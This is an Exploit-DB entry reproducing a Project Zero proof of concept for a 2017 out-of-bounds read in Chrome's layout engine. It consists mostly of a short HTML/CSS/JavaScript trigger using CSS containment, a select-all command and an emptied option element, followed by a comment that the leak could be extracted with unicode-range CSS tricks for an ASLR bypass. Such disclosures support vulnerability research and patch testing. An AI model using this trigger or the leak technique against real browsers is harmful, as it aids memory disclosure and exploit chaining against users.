Google Chrome - 'layout' Out-of-Bounds Read

EDB-ID:

41434

CVE:

N/A




Platform:

Multiple

Date:

2017-02-22


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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1024

Chrome bug:

https://bugs.chromium.org/p/chromium/issues/detail?id=671328

PoC:
-->

<style>
content { contain: size layout; }
</style>
<script>
function leak() {
 document.execCommand("selectAll"); 
 opt.text = ""; 
}
</script>
<body onload=leak()>
<content>
<select>
<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
</select>
</content>

<!--
Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
-->